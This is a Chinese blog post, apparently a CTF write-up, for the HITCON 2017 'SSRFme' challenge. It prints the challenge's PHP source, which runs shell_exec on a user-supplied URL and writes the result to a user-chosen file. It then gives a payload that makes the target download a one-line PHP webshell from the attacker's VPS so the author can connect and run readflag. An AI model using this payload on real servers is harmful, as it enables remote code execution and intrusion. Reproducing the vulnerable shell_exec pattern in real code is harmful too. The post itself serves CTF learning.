[HITCON 2017]SSRFme

31 篇文章 3 订阅
2 篇文章 0 订阅

[HITCON 2017]SSRFme

一.前言

这学期快要结束了,各个学科的复习工作也要找时间做一做了。期末大作业,实验课大实验什么的属于是把我的时间安排的明明白白的了,这个月的产出是一定会出问题的。但愿寒假的时候可以找到一波时间把没学习的东西赶快补一波,趁着还没考考研的这段时间。

二.正文

老样子,咱们还是先来看一下这道题,没有前端只有源码。(懂得都懂

<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

这源码是什么意思呢?就是你每次请求他都会把你的地址echo出来,然后他自己用你的IP地址和orange进行衔接并md5。然后基于这串md5生成一个目录/sandbox/{md5},并cd进去。最后这玩意会把你通过get请求到的数据存到你设定的filename中,当然你所设定的filename也会在/sandbox/{md5}这个目录下面。
有了这些信息,我们的一个想法就是通过get请求,让目标服务从我们的vps上面down下来一个一句话木马文件,然后咱们通过这个木马文件进行连接。
首先,要有一个shell.php
请添加图片描述
然后在VPS上面起一个服务(用python就行)。
在这里插入图片描述
然后我们向靶机发送如下payload

url={VPS}/shell.php&filename=fanxing/fanxing.php

请求成功的话你的VPS就会出现上面的200 OK的响应码。
接着我们用后台工具去连接/sandbox/{md5}/fanxing/fanxing.php
在这里插入图片描述我们通过工具的虚拟shell功能进行命令执行,运行readflag就能拿到flag。
在这里插入图片描述

三.后记

总的来说这道题还是一道很简单的题目的,作为刚开始学习SSRF的我来说还是非常适合的。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值